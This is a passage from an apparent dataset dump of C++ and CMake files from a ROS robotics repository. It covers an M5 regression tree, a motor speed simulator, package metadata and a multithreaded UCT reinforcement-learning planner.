\"Split node, used feat \" << node->dim << endl;\n\n getFeatsUsed(node->l, featsUsed);\n getFeatsUsed(node->r, featsUsed);\n\n return;\n}\n\n\nvoid M5Tree::testPossibleSplits(const std::vector<tree_experience*> &instances,\n float *bestSDR, int *bestDim,\n float *bestVal, \n std::vector<tree_experience*> *bestLeft,\n std::vector<tree_experience*> *bestRight) {\n if (DTDEBUG) cout << \"testPossibleSplits\" << endl;\n\n\n // calculate sd for the set\n float sd = calcSDforSet(instances);\n //if (DTDEBUG) cout << \"I: \" << I << endl;\n\n int nties = 0;\n\n // for each possible split, calc standard deviation reduction\n for (unsigned idim = 0; idim < instances[0]->input.size(); idim++){\n\n //float* sorted = sortOnDim(idim, instances);\n float minVal, maxVal;\n std::set<float> uniques = getUniques(idim, instances, minVal, maxVal);\n\n for (std::set<float>::iterator j = uniques.begin(); j != uniques.end(); j++){\n\n // skip max val, not a valid cut for either\n if ((*j) == maxVal)\n continue;\n\n // if this is a random forest, we eliminate some random number of splits\n // here (decision is taken from the random set that are left)\n if (rng.uniform() < featPct)\n continue;\n\n std::vector<tree_experience*> left;\n std::vector<tree_experience*> right;\n\n // splits that are cuts\n float splitval = (*j);\n float sdr = calcSDR(idim, splitval, instances, sd, left, right);\n\n if (SPLITDEBUG) cout << \" CUT split val \" << splitval\n << \" on dim: \" << idim << \" had sdr \"\n << sdr << endl;\n\n // see if this is the new best sdr\n compareSplits(sdr, idim, splitval, left, right, &nties,\n bestSDR, bestDim, bestVal, bestLeft, bestRight);\n\n\n } // j loop\n }\n}\n\n\n\nvoid M5Tree::compareSplits(float sdr, int dim, float val, \n const std::vector<tree_experience*> &left, \n const std::vector<tree_experience*> &right,\n int *nties, float *bestSDR, int *bestDim,\n float *bestVal, \n std::vector<tree_experience*> *bestLeft,\n std::vector<tree_experience*> *bestRight){\n if (DTDEBUG) cout << \"compareSplits sdr=\" << sdr << \",dim=\" << dim\n << \",val=\" << val <<endl;\n\n\n bool newBest = false;\n\n // if its a virtual tie, break it randomly\n if (fabs(*bestSDR - sdr) < SPLIT_MARGIN){\n //cout << \"Split tie, making random decision\" << endl;\n\n (*nties)++;\n float randomval = rng.uniform(0,1);\n float newsplitprob = (1.0 / (float)*nties);\n\n if (randomval < newsplitprob){\n newBest = true;\n if (SPLITDEBUG) cout << \" Tie on split. DT: \" << id << \" rand: \" << randomval\n << \" splitProb: \" << newsplitprob << \", selecting new split \" << endl;\n }\n else\n if (SPLITDEBUG) cout << \" Tie on split. DT: \" << id << \" rand: \" << randomval\n << \" splitProb: \" << newsplitprob << \", staying with old split \" << endl;\n }\n\n // if its clearly better, set this as the best split\n else if (sdr > *bestSDR){\n newBest = true;\n *nties = 1;\n }\n\n\n // set the split features\n if (newBest){\n *bestSDR = sdr;\n *bestDim = dim;\n *bestVal = val;\n *bestLeft = left;\n *bestRight = right;\n if (SPLITDEBUG){\n cout << \" New best sdr: \" << *bestSDR\n << \" with val \" << *bestVal\n << \" on dim \" << *bestDim << endl;\n }\n } // newbest\n}\n\nfloat M5Tree::calcSDR(int dim, float val, \n const std::vector<tree_experience*> &instances,\n float sd,\n std::vector<tree_experience*> &left,\n std::vector<tree_experience*> &right){\n if (DTDEBUG) cout << \"calcSDR, dim=\" << dim\n << \" val=\" << val\n << \" sd=\" << sd\n << \" nInstances= \" << instances.size() << endl;\n\n left.clear();\n right.clear();\n\n // split into two sides\n for (unsigned i = 0; i < instances.size(); i++){\n if (DTDEBUG) cout << \"calcSDR - Classify instance \" << i \n << \" on new split \" << endl;\n\n if (passTest(dim, val, instances[i]->input)){\n left.push_back(instances[i]);\n }\n else{\n right.push_back(instances[i]);\n }\n }\n\n if (DTDEBUG) cout << \"Left has \" << left.size()\n << \", right has \" << right.size() << endl;\n\n // get sd for both sides\n float sdLeft = calcSDforSet(left);\n float sdRight = calcSDforSet(right);\n\n float leftRatio = (float)left.size() / (float)instances.size();\n float rightRatio = (float)right.size() / (float)instances.size();\n\n float sdr = sd - (leftRatio * sdLeft + rightRatio * sdRight);\n\n if (DTDEBUG){\n cout << \"LeftSD: \" << sdLeft\n << \" RightSD: \" << sdRight\n << \" SD: \" << sd\n << \" SDR: \" << sdr\n << endl;\n }\n\n return sdr;\n\n}\n\nfloat M5Tree::calcSDforSet(const std::vector<tree_experience*> &instances){\n if (DTDEBUG) cout << \"calcSDforSet\" << endl;\n\n int n = instances.size();\n\n if (n == 0)\n return 0;\n\n double sum = 0;\n double sumSqr = 0;\n\n // go through instances and calculate sums, sum of squares\n for (unsigned i = 0; i < instances.size(); i++){\n float val = instances[i]->output;\n sum += val;\n sumSqr += (val * val);\n }\n\n double mean = sum / (double)n;\n double variance = (sumSqr - sum*mean)/(double)n;\n float sd = sqrt(variance);\n\n return sd;\n\n}\n\nstd::set<float> M5Tree::getUniques(int dim, const std::vector<tree_experience*> &instances, float& minVal, float& maxVal){\n if (DTDEBUG) cout << \"getUniques,dim = \" << dim;\n\n std::set<float> uniques;\n\n for (int i = 0; i < (int)instances.size(); i++){\n if (i == 0 || instances[i]->input[dim] < minVal)\n minVal = instances[i]->input[dim];\n if (i == 0 || instances[i]->input[dim] > maxVal)\n maxVal = instances[i]->input[dim];\n\n uniques.insert(instances[i]->input[dim]);\n }\n\n // lets not try more than 100 possible splits per dimension\n if (uniques.size() > 100){\n float rangeInc = (maxVal - minVal) / 100.0;\n uniques.clear();\n for (float i = minVal; i < maxVal; i+= rangeInc){\n uniques.insert(i);\n }\n }\n uniques.insert(maxVal);\n\n if (DTDEBUG) cout << \" #: \" << uniques.size() << endl;\n return uniques;\n}\n\n\nfloat* M5Tree::sortOnDim(int dim, const std::vector<tree_experience*> &instances){\n if (DTDEBUG) cout << \"sortOnDim,dim = \" << dim << endl;\n\n float* values = new float[instances.size()];\n\n for (int i = 0; i < (int)instances.size(); i++){\n //cout << \"Instance \" << i << endl;\n\n float val = instances[i]->input[dim];\n //cout << \" val: \" << val << endl;\n\n // find where this should go\n for (int j = 0; j <= i; j++){\n //cout << \" j: \" << j << endl;\n\n // get to i, this is the spot then\n if (j==i){\n values[j] = val;\n //cout << \" At i, putting value in slot j: \" << j << endl;\n }\n\n // if this is the spot\n else if (val < values[j]){\n //cout << \" Found slot at j: \" << j << endl;\n\n // slide everything forward to make room\n for (int k = i; k > j; k--){\n //cout << \" k = \" << k << \" Sliding value from k-1 to k\" << endl;\n values[k] = values[k-1];\n }\n\n // put value in its spot at j\n //cout << \" Putting value at slot j: \" << j << endl;\n values[j] = val;\n\n // break\n break;\n }\n\n }\n }\n\n if (DTDEBUG){\n cout << \"Sorted array: \" << values[0];\n for (int i = 1; i < (int)instances.size(); i++){\n cout << \", \" << values[i];\n }\n cout << endl;\n }\n\n return values;\n\n}\n\n\nvoid M5Tree::printTree(tree_node *t, int level){\n\n for (int i = 0; i < level; i++){\n cout << \".\";\n }\n\n cout << \"Node \" << t->id << \" nInstances: \" << t->nInstances ;\n\n // Leaf, print regression stuff\n if (t->leaf){\n cout << \" Constant: \" << t->constant << \" coeff: \";\n for (unsigned j = 0; j < t->coefficients.size(); j++){\n if (!SIMPLE)\n cout << t->coefficients[j] << \", \";\n if (SIMPLE && t->coefficients[j] != 0)\n cout << \" on feat \" << j << \": \" << t->coefficients[j];\n }\n cout << endl;\n return;\n }\n\n // otherwise, print split info, next nodes\n\n cout << \" Type: CUT\";\n cout << \" Dim: \" << t->dim << \" Val: \" << t->val;\n cout << \" Left: \" << t->l->id << \" Right: \" << t->r->id << endl;\n\n // print children\n if (t->dim != -1 && !t->leaf){\n printTree(t->l, level+1);\n printTree(t->r, level+1);\n }\n\n}\n\n\n// output a map of outcomes and their probabilities for this leaf node\nvoid M5Tree::leafPrediction(tree_node* leaf, const std::vector<float> &input, std::map<float, float>* retval){\n if (DTDEBUG)\n cout << \"Calculating output for leaf \" << leaf->id << endl;\n\n float prediction = leaf->constant;\n if (DTDEBUG) cout << \"leaf constant: \" << leaf->constant << endl;\n\n // plus each coefficient\n for (unsigned i = 0; i < input.size(); i++){\n prediction += leaf->coefficients[i] * input[i];\n if (DTDEBUG) {\n cout << \"feat \" << i << \" coeff: \" << leaf->coefficients[i]\n << \" on input \" << input[i] << endl;\n }\n }\n\n if (DTDEBUG) cout << \" prediction: \" << prediction << endl;\n\n (*retval)[prediction] = 1.0;\n}\n\n\nvoid M5Tree::initNodes(){\n\n for (int i = 0; i < N_M5_NODES; i++){\n initTreeNode(&(allNodes[i]));\n freeNodes.push_back(i);\n if (NODEDEBUG) \n cout << \"init node \" << i << \" with id \" << allNodes[i].id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n }\n\n}\n\nM5Tree::tree_node* M5Tree::allocateNode(){\n if (freeNodes.empty()){\n tree_node* newNode = new tree_node;\n initTreeNode(newNode);\n if (NODEDEBUG) \n cout << \"PROBLEM: No more pre-allocated nodes!!!\" << endl\n << \"return new node \" << newNode->id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n return newNode;\n }\n\n int i = freeNodes.back();\n freeNodes.pop_back();\n if (NODEDEBUG) \n cout << \"allocate node \" << i << \" with id \" << allNodes[i].id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n return &(allNodes[i]);\n}\n\nvoid M5Tree::deallocateNode(tree_node* node){\n if (node->id >= N_M5_NODES){\n if (NODEDEBUG) \n cout << \"dealloc extra node id \" << node->id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n delete node;\n return;\n }\n\n freeNodes.push_back(node->id);\n if (NODEDEBUG) \n cout << \"dealloc node \" << node->id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n}\n" }, { "alpha_fraction": 0.6485013365745544, "alphanum_fraction": 0.6498637795448303, "avg_line_length": 21.24242401123047, "blob_id": "78bd435b874e44fd0a7f84414ec989ee0bbf845c", "content_id": "69e34b24d7b1882c6e1c684c23df466d5f7e7164", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 734, "license_type": "no_license", "max_line_length": 72, "num_lines": 33, "path": "/src/roundbot_control/src/MotorSim.cpp", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <roundbot_control/MotorSim.h>\n\nnamespace roundbot_control{\n\nMotorSim::MotorSim(double max_speed, double max_accel, double max_decel)\n{\n current_speed_ = 0;\n max_speed_ = max_speed;\n max_accel_ = max_accel;\n max_decel_ = max_decel;\n}\n\ndouble MotorSim::iterate(double target_speed, double dt)\n{\n double target_accel = (target_speed - current_speed_) / dt;\n\n if (target_accel > max_accel_){\n target_accel = max_accel_;\n }else if (target_accel < -max_decel_){\n target_accel = -max_decel_;\n }\n\n current_speed_ += (dt * target_accel);\n if (current_speed_ > max_speed_){\n current_speed_ = max_speed_;\n }else if (current_speed_ < -max_speed_){\n current_speed_ = -max_speed_;\n }\n\n return current_speed_;\n}\n\n}\n" }, { "alpha_fraction": 0.7360248565673828, "alphanum_fraction": 0.7453415989875793, "avg_line_length": 45.14285659790039, "blob_id": "7db568eb77b8805a09cc7d163c40a14f8703acd1", "content_id": "70d4af0e785a671025579586d5080238ae9c701b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 322, "license_type": "no_license", "max_line_length": 53, "num_lines": 7, "path": "/src/ugv_course_libs/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"ugv_course_libs\")\nset(ugv_course_libs_MAINTAINER \"micho <[email protected]>\")\nset(ugv_course_libs_DEPRECATED \"\")\nset(ugv_course_libs_VERSION \"0.0.0\")\nset(ugv_course_libs_BUILD_DEPENDS \"sensor_msgs\" \"tf\")\nset(ugv_course_libs_RUN_DEPENDS \"sensor_msgs\" \"tf\")\nset(ugv_course_libs_BUILDTOOL_DEPENDS \"catkin\")" }, { "alpha_fraction": 0.602712869644165, "alphanum_fraction": 0.6084104180335999, "avg_line_length": 26.7864933013916, "blob_id": "8aea4675025d25e599395537e1fa27da4e1f7486", "content_id": "7151fd6171cc77a782e97d03293f8b1106aa2b38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 38262, "license_type": "no_license", "max_line_length": 180, "num_lines": 1377, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Planners/PO_ParallelETUCT.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file PO_ParallelETUCT.cc\n Implements my real-time model-based RL architecture which uses UCT with eligiblity traces for planning. This version of UCT plans over states augmented with k-action histories.\n The modified version of UCT used is presented in:\n L. Kocsis and C. Szepesvยดari, \"Bandit based monte-carlo planning,\" in\n ECML-06. Number 4212 in LNCS. Springer, 2006, pp. 282-293.\n The real-time architecture is presented in:\n Hester, Quinlan, and Stone, \"A Real-Time Model-Based Reinforcement Learning Architecture for Robot Control\", arXiv 1105.1749, 2011.\n \\author Todd Hester\n*/\n\n#include \"PO_ParallelETUCT.hh\"\n#include <algorithm>\n\n#include <sys/time.h>\n\n\nPO_ParallelETUCT::PO_ParallelETUCT(int numactions, float gamma, float rrange, float lambda,\n int MAX_ITER, float MAX_TIME, int MAX_DEPTH, int modelType,\n const std::vector<float> &fmax, const std::vector<float> &fmin,\n const std::vector<int> &nstatesPerDim, bool trackActual, int historySize, Random r):\n numactions(numactions), gamma(gamma), rrange(rrange), lambda(lambda),\n MAX_ITER(MAX_ITER), MAX_TIME(MAX_TIME),\n MAX_DEPTH(MAX_DEPTH), modelType(modelType), statesPerDim(nstatesPerDim),\n trackActual(trackActual), HISTORY_SIZE(historySize),\n HISTORY_FL_SIZE(historySize*numactions)\n{\n rng = r;\n\n nstates = 0;\n nsaved = 0;\n nactions = 0;\n lastUpdate = -1;\n\n seedMode = false;\n timingType = true;\n\n previnfo = NULL;\n model = NULL;\n planTime = getSeconds();\n initTime = getSeconds();\n setTime = getSeconds();\n\n PLANNERDEBUG = false;\n POLICYDEBUG = false; //true; //false; //true; //false;\n ACTDEBUG = false; //true;\n MODELDEBUG = false;\n UCTDEBUG = false;//true; //false;\n PTHREADDEBUG = false;\n ATHREADDEBUG = false;// true;\n MTHREADDEBUG = false;//true;\n TIMINGDEBUG = false;\n REALSTATEDEBUG = false;\n HISTORYDEBUG = false;//true;\n\n if (statesPerDim[0] > 0){\n cout << \"Planner Parallel ETUCT using discretization of \" << statesPerDim[0] << endl;\n }\n if (trackActual){\n cout << \"Parallel ETUCT tracking real state values\" << endl;\n }\n\n featmax = fmax;\n featmin = fmin;\n\n pthread_mutex_init(&update_mutex, NULL);\n pthread_mutex_init(&nactions_mutex, NULL);\n pthread_mutex_init(&history_mutex, NULL);\n pthread_mutex_init(&plan_state_mutex, NULL);\n pthread_mutex_init(&statespace_mutex, NULL);\n pthread_mutex_init(&model_mutex, NULL);\n pthread_mutex_init(&list_mutex, NULL);\n pthread_cond_init(&list_cond, NULL);\n\n // start parallel search thread\n actualPlanState = std::vector<float>(featmax.size());\n discPlanState = NULL;\n modelThreadStarted = false;\n planThreadStarted = false;\n expList.clear();\n\n if (HISTORY_SIZE == 0){\n saHistory.push_back(0.0);\n }\n else {\n if (HISTORYDEBUG) {\n cout << \"History size of \" << HISTORY_SIZE\n << \" float size of \" << HISTORY_FL_SIZE\n << \" with state size: \" << fmin.size()\n << \" and numact: \" << numactions << endl;\n }\n for (int i = 0; i < HISTORY_FL_SIZE; i++){\n saHistory.push_back(0.0);\n }\n }\n\n // initStates();\n expfile.initFile(\"experiences.bin\", featmax.size());\n}\n\nPO_ParallelETUCT::~PO_ParallelETUCT() {\n // join threads\n\n //pthread_kill(planThread);\n //pthread_kill(modelThread);\n\n pthread_detach(planThread);//, NULL);\n pthread_detach(modelThread);//, NULL);\n\n pthread_cancel(planThread);//, NULL);\n pthread_cancel(modelThread);//, NULL);\n\n //pthread_join(planThread, NULL);\n //pthread_join(modelThread, NULL);\n\n //pthread_detach(planThread);//, NULL);\n //pthread_detach(modelThread);//, NULL);\n\n\n pthread_mutex_lock(&plan_state_mutex);\n pthread_mutex_lock(&statespace_mutex);\n pthread_mutex_lock(&model_mutex);\n pthread_mutex_lock(&list_mutex);\n pthread_mutex_lock(&history_mutex);\n\n // delete exp list\n expList.clear();\n\n for (std::map<state_t, state_info>::iterator i = statedata.begin();\n i != statedata.end(); i++){\n\n // get state's info\n //cout << \" planner got info\" << endl;\n state_info* info = &((*i).second);\n\n deleteInfo(info);\n }\n\n featmax.clear();\n featmin.clear();\n\n statespace.clear();\n statedata.clear();\n\n pthread_mutex_unlock(&plan_state_mutex);\n pthread_mutex_unlock(&statespace_mutex);\n pthread_mutex_unlock(&model_mutex);\n pthread_mutex_unlock(&list_mutex);\n pthread_mutex_unlock(&history_mutex);\n\n}\n\nvoid PO_ParallelETUCT::setModel(MDPModel* m){\n\n model = m;\n\n}\n\n\n/////////////////////////////\n// Functional functions :) //\n/////////////////////////////\n\n\n\nbool PO_ParallelETUCT::updateModelWithExperience(const std::vector<float> &laststate,\n int lastact,\n const std::vector<float> &currstate,\n float reward, bool term){\n // if (PLANNERDEBUG) cout << \"updateModelWithExperience(last = \" << &laststate\n // << \", curr = \" << &currstate\n // << \", lastact = \" << lastact\n // << \", r = \" << reward\n // << \", term = \" << term\n // << \")\" << endl;\n\n //cout << \"updateModel\" << endl << flush;\n\n if (!timingType)\n planTime = getSeconds();\n initTime = getSeconds();\n\n // canonicalize these things\n state_t last = NULL;\n\n // add one history to last state\n if (HISTORY_SIZE > 0){\n std::vector<float> modState = laststate;\n if (HISTORYDEBUG) {\n cout << \"Original state vector (size \" << modState.size() << \": \" << modState[0];\n for (unsigned i = 1; i < modState.size(); i++){\n cout << \",\" << modState[i];\n }\n cout << endl;\n }\n // add history onto modState\n pthread_mutex_lock(&history_mutex);\n for (int i = 0; i < HISTORY_FL_SIZE; i++){\n modState.push_back(saHistory[i]);\n }\n pthread_mutex_unlock(&history_mutex);\n\n if (HISTORYDEBUG) {\n cout << \"New state vector (size \" << modState.size() << \": \" << modState[0];\n for (unsigned i = 1; i < modState.size(); i++){\n cout << \",\" << modState[i];\n }\n cout << endl;\n }\n\n last = canonicalize(modState);\n\n if (!seedMode){\n // push this state and action onto the history vector\n /*\n for (unsigned i = 0; i < last->size(); i++){\n saHistory.push_back((*last)[i]);\n saHistory.pop_front();\n }\n */\n pthread_mutex_lock(&history_mutex);\n for (int i = 0; i < numactions; i++){\n if (i == lastact)\n saHistory.push_back(1.0);\n else\n saHistory.push_back(0.0);\n saHistory.pop_front();\n }\n if (HISTORYDEBUG) {\n cout << \"New history vector (size \" << saHistory.size() << \": \" << saHistory[0];\n for (unsigned i = 1; i < saHistory.size(); i++){\n cout << \",\" << saHistory[i];\n }\n cout << endl;\n }\n pthread_mutex_unlock(&history_mutex);\n }\n }\n\n // no history\n else {\n\n // canonicalize these things\n last = canonicalize(laststate);\n }\n\n prevstate = last;\n prevact = lastact;\n\n // get state info\n pthread_mutex_lock(&statespace_mutex);\n previnfo = &(statedata[last]);\n pthread_mutex_unlock(&statespace_mutex);\n\n if (MODELDEBUG){\n cout << \"Update with exp from state: \";\n for (unsigned i = 0; i < last->size(); i++){\n cout << (laststate)[i] << \", \";\n }\n cout << \" action: \" << lastact;\n cout << \" to state: \";\n for (unsigned i = 0; i < currstate.size(); i++){\n cout << (currstate)[i] << \", \";\n }\n cout << \" and reward: \" << reward << endl;\n }\n\n // add experiences to list to later be updated into model\n if (ATHREADDEBUG)\n cout << \"*** Action thread wants list lock ***\" << endl << flush;\n if (TIMINGDEBUG) cout << \"Want list mutex, time: \" << (getSeconds()-initTime) << endl;\n pthread_mutex_lock(&list_mutex);\n if (TIMINGDEBUG) cout << \"got list mutex, time: \" << (getSeconds()-initTime) << endl;\n experience e;\n e.s = *last;\n e.next = currstate;\n e.act = lastact;\n e.reward = reward;\n e.terminal = term;\n\n expList.push_back(e);\n //expfile.saveExperience(e);\n if (ATHREADDEBUG || MTHREADDEBUG)\n cout << \"added exp to list, size: \" << expList.size() << endl << flush;\n if (TIMINGDEBUG) cout << \"list updated, time: \" << (getSeconds()-initTime) << endl;\n pthread_cond_signal(&list_cond);\n pthread_mutex_unlock(&list_mutex);\n\n /*\n if (e.reward > -0.5 && e.reward < 0){\n expfile.saveExperience(e);\n nsaved++;\n cout << \"Saved Experience \" << e.reward << endl;\n }\n */\n\n if (timingType)\n planTime = getSeconds();\n\n if (TIMINGDEBUG) cout << \"leaving updateModel, time: \" << (getSeconds()-initTime) << endl;\n\n\n return false;\n\n}\n\nvoid PO_ParallelETUCT::updateStateActionFromModel(state_t s, int a, state_info* info){\n\n pthread_mutex_lock(&info->statemodel_mutex);\n StateActionInfo* newModel = &(info->model[a]);\n updateStateActionHistoryFromModel(*s, a, newModel);\n pthread_mutex_unlock(&info->statemodel_mutex);\n\n}\n\nvoid PO_ParallelETUCT::updateStateActionHistoryFromModel(const std::vector<float> modState, int a, StateActionInfo *newModel){\n\n // update state info\n // get state action info for each action\n pthread_mutex_lock(&model_mutex);\n\n model->getStateActionInfo(modState, a, newModel);\n\n pthread_mutex_lock(&nactions_mutex);\n newModel->frameUpdated = nactions;\n pthread_mutex_unlock(&nactions_mutex);\n\n pthread_mutex_unlock(&model_mutex);\n\n if (HISTORY_SIZE > 0){\n\n // figure out new history\n std::deque<float> newHistory;\n int stateSize = modState.size() - HISTORY_FL_SIZE;\n\n if (HISTORYDEBUG) cout << \"input history was: \";\n for (int i = 0; i < HISTORY_FL_SIZE; i++){\n newHistory.push_back(modState[i+stateSize]);\n if (HISTORYDEBUG) cout << modState[i+stateSize] << \", \";\n }\n if (HISTORYDEBUG) cout << endl;\n\n // now add on for action\n for (int i = 0; i < numactions; i++){\n if (i == a)\n newHistory.push_back(1.0);\n else\n newHistory.push_back(0.0);\n newHistory.pop_front();\n }\n\n if (HISTORYDEBUG){\n cout << \"act: \" << a << \", new history:\";\n for (unsigned i = 0; i < newHistory.size(); i++){\n cout << newHistory[i] << \", \";\n }\n cout << endl;\n }\n\n // add outcome histories onto newModel predictions\n std::map< std::vector<float>, float> oldProbs = newModel->transitionProbs;\n newModel->transitionProbs.clear();\n\n for (std::map<std::vector<float>, float>::iterator outIt\n = oldProbs.begin();\n outIt != oldProbs.end(); outIt++){\n\n float prob = (*outIt).second;\n std::vector<float> next = (*outIt).first;\n\n for (unsigned i = 0; i < newHistory.size(); i++){\n next.push_back(newHistory[i]);\n }\n\n if (HISTORYDEBUG){\n cout << \"add history onto prediction of state: \";\n for (unsigned i = 0; i < next.size(); i++){\n cout << next[i] << \", \";\n }\n cout << \" with prob \" << prob << endl;\n }\n\n newModel->transitionProbs[next] = prob;\n }\n }\n\n\n //canonNextStates(newModel);\n\n}\n\nvoid PO_ParallelETUCT::canonNextStates(StateActionInfo* modelInfo){\n\n\n // loop through all next states\n for (std::map<std::vector<float>, float>::iterator outIt\n = modelInfo->transitionProbs.begin();\n outIt != modelInfo->transitionProbs.end(); outIt++){\n\n std::vector<float> nextstate = (*outIt).first;\n bool badState = false;\n\n // check that it is valid, otherwise replace with current\n for (unsigned j = 0; j < featmax.size(); j++){\n if (nextstate[j] < (featmin[j]-EPSILON)\n || nextstate[j] > (featmax[j]+EPSILON)){\n //cout << \"next state out of range \" << nextstate[j] << endl;\n badState = true;\n break;\n }\n }\n\n if (!badState){\n canonicalize(nextstate);\n }\n }\n}\n\nint PO_ParallelETUCT::getBestAction(const std::vector<float> &state){\n // if (PLANNERDEBUG) cout << \"getBestAction(s = \" << &state << \")\" << endl;\n\n pthread_mutex_lock(&nactions_mutex);\n nactions++;\n pthread_mutex_unlock(&nactions_mutex);\n\n\n if (TIMINGDEBUG) cout << \"getBestAction, time: \" << (getSeconds()-initTime) << endl;\n\n // add current history on top\n pthread_mutex_lock(&history_mutex);\n std::vector<float> modState = state;\n for (int i = 0; i < HISTORY_FL_SIZE; i++){\n modState.push_back(saHistory[i]);\n }\n pthread_mutex_unlock(&history_mutex);\n\n state_t s = canonicalize(modState);\n\n // set plan state so uct will search from here\n if (ATHREADDEBUG)\n cout << \"*** Action thread wants plan state lock ***\" << endl << flush;\n if (TIMINGDEBUG) cout << \"want planStateMut, time: \" << (getSeconds()-initTime) << endl;\n\n pthread_mutex_lock(&(plan_state_mutex));\n if (TIMINGDEBUG) cout << \"got planStateMut, time: \" << (getSeconds()-initTime) << endl;\n\n actualPlanState = modState;\n discPlanState = s;\n setTime = getSeconds();\n\n if (ATHREADDEBUG){\n cout << \"Set planning state as: \";\n for (unsigned i = 0; i < modState.size(); i++){\n cout << modState[i] << \", \";\n }\n cout << endl << flush;\n }\n\n // call uct search on it\n pthread_mutex_unlock(&(plan_state_mutex));\n if (TIMINGDEBUG) cout << \"set planState, time: \" << (getSeconds()-initTime) << endl;\n\n // get state info\n pthread_mutex_lock(&statespace_mutex);\n state_info* info = &(statedata[s]);\n pthread_mutex_unlock(&statespace_mutex);\n\n // wait a bit for some planning from this state\n\n // depending on how you run the code, this has to be setup differently\n // if someone else calls this method at the appropriate rate, do nothing here\n\n // or this can be where we wait to ensure we run at some rate:\n while (((getSeconds()- initTime) < MAX_TIME)){\n if (TIMINGDEBUG)\n cout << \"waiting for time: \" << (getSeconds()-initTime) << endl;\n\n pthread_yield();\n }\n\n if (TIMINGDEBUG) cout << \"time up: \" << (getSeconds()-initTime) << endl;\n\n if (TIMINGDEBUG && (getSeconds()-initTime) > 0.15) cout << \"**********\" << endl;\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n // Get Q values\n std::vector<float> &Q = info->Q;\n\n\n if (ATHREADDEBUG) {\n if (previnfo != NULL)\n cout << \" ... now \" << previnfo->uctVisits << \" times.\" << endl;\n cout << \"Getting best action from state \";\n for (unsigned i = 0; i < s->size(); i++){\n cout << (*s)[i] << \", \";\n }\n cout << \" sampled \" << info->uctVisits << \" times.\";// << endl << flush;\n }\n\n // Choose an action\n const std::vector<float>::iterator a =\n random_max_element(Q.begin(), Q.end()); // Choose maximum\n int act = a - Q.begin();\n\n if (TIMINGDEBUG) cout << \"got action: \" << (getSeconds()-initTime) << endl;\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n // return index of action\n return act;\n}\n\n\n\n\n\n\nvoid PO_ParallelETUCT::planOnNewModel(){\n //return;\n // cout << \"planOnNewModel\" << endl << flush;\n // start model learning thread here\n if (!modelThreadStarted){\n modelThreadStarted = true;\n pthread_create(&modelThread, NULL, poParallelModelLearningStart, this);\n }\n\n if (!planThreadStarted){\n planThreadStarted = true;\n pthread_create(&(planThread), NULL, poParallelSearchStart, this);\n }\n\n}\n\nvoid* poParallelModelLearningStart(void* arg){\n cout << \"Start model learning thread\" << endl << flush;\n PO_ParallelETUCT* pe = reinterpret_cast<PO_ParallelETUCT*>(arg);\n while(true){\n pe->parallelModelLearning();\n /*\n if (!pe->planThreadStarted){\n pe->planThreadStarted = true;\n pthread_create(&(pe->planThread), NULL, poParallelSearchStart, pe);\n }\n */\n }\n return NULL;\n}\n\nvoid PO_ParallelETUCT::parallelModelLearning(){\n //while(true){\n\n // wait for experience list to be non-empty\n pthread_mutex_lock(&list_mutex);\n while (expList.size() == 0){\n pthread_cond_wait(&list_cond,&list_mutex);\n }\n pthread_mutex_unlock(&list_mutex);\n\n // copy over experience list\n std::vector<experience> updateList;\n if (MTHREADDEBUG) cout << \" *** Model thread wants list lock ***\" << endl << flush;\n pthread_mutex_lock(&list_mutex);\n updateList = expList;\n expList.clear();\n if (MTHREADDEBUG) cout << \" *** Model thread done with list lock ***\" << endl << flush;\n pthread_mutex_unlock(&list_mutex);\n\n /*\n // update model\n //cout << \"*** Model thread wants tree lock ***\" << endl << flush;\n pthread_mutex_lock(&model_mutex);\n if (MTHREADDEBUG) cout << \" Model thread: going to update model with \" << updateList.size() << \" new experiences\" << endl << flush;\n //cout << \"****update tree with \" << updateList.size() << endl << flush;\n bool modelChanged = model->updateWithExperiences(updateList);\n if (MTHREADDEBUG) cout << \" Model updated\" << endl << flush;\n pthread_mutex_unlock(&model_mutex);\n */\n\n modelcopy = model->getCopy();\n //if (COPYDEBUG) cout << \"*** PO: model copied\" << endl;\n\n // update model copy with new experience\n bool modelChanged = modelcopy->updateWithExperiences(updateList);\n\n // set model pointer to point at copy, delete original model cout << \"acquire model_mutex for update\" << endl;\n pthread_mutex_lock(&model_mutex);\n //cout << \"model_mutex acquired for update\" << endl;\n //if (COPYDEBUG) cout << \"*** PO: delete original model and change pointer\" << endl;\n delete model;\n model = modelcopy;\n if (MTHREADDEBUG) cout << \" Model updated\" << endl << flush;\n //if (COPYDEBUG) cout << \"*** PO: pointer set to updated model copy\" << endl;\n pthread_mutex_unlock(&model_mutex);\n\n\n\n // if it changed, reset counts, update state actions\n if (modelChanged) resetAndUpdateStateActions();\n\n pthread_yield();\n\n //}// while loop\n} // method\n\n\n\n\nvoid PO_ParallelETUCT::resetAndUpdateStateActions(){\n //cout << \"*** Model changed, updating state actions ***\" << endl << flush;\n const int MIN_VISITS = 10;\n\n pthread_mutex_lock(&nactions_mutex);\n int updateTime = nactions;\n pthread_mutex_unlock(&nactions_mutex);\n\n // loop through here\n\n pthread_mutex_lock(&statespace_mutex);\n\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n pthread_mutex_unlock(&statespace_mutex);\n\n state_t s = canonicalize(*i);\n\n if (MTHREADDEBUG) cout << \" *** Model thread wants search lock ***\" << endl;\n\n if (MTHREADDEBUG) cout << \" *** Model thread got search lock \" << endl;\n\n pthread_mutex_lock(&statespace_mutex);\n state_info* info = &(statedata[s]);\n pthread_mutex_unlock(&statespace_mutex);\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n if (info->uctVisits > (MIN_VISITS * 